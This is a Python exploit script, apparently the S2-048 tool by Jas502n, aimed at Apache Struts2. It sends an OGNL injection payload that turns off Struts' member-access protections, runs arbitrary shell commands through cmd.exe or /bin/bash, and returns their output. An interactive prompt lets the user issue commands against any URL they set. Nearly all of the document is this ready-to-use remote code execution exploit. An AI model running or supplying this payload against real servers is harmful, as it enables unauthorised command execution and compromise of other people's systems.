struts2-048漏洞验证工具

#!/usr/bin/python # -*- coding: utf-8 -*- ''' ____ ____ ___ _ _ ___ / ___|___ \ / _ \| || | ( _ ) \___ \ __) |____| | | | || |_ / _ \ ___) / __/_____| |_| |__ _| (_) | |____/_____| \___/ |_| \___/ ____ ____ _____ _ _ _ _ | _ \ / ___| ____| / \ | |_| |_ _ __ __ _ ___| | __ | |_) | | | _| / _ \| __| __| '__/ _` |/ __| |/ / | _ <| |___| |___ / ___ \ |_| |_| | | (_| | (__| < |_| \_\\____|_____| /_/ \_\__|\__|_| \__,_|\___|_|\_\ Author By Jas502n https://github.com/jas502n/st2-048 影响不大，周末注意休息，不要搞事情！ ''' import json,re import requests import threading import urllib def Poc(url,command): header = {'Content-Type': 'application/x-www-form-urlencoded'} poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \ "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"} data = urllib.urlencode(poc) try: result = requests.post(url,data=data,headers=header) if result.status_code == 200: print result.content except requests.ConnectionError,e: print e th = {"url":""} while True: if th.get("url") != "": input_cmd = raw_input("cmd >>: ") if input_cmd == "exit": exit() elif input_cmd == 'set': url = raw_input("set url :") th['url'] = url elif input_cmd == 'show url': print th.get("url") else: Poc(th.get("url"),input_cmd) else: url = raw_input("set url :") th["url"] = url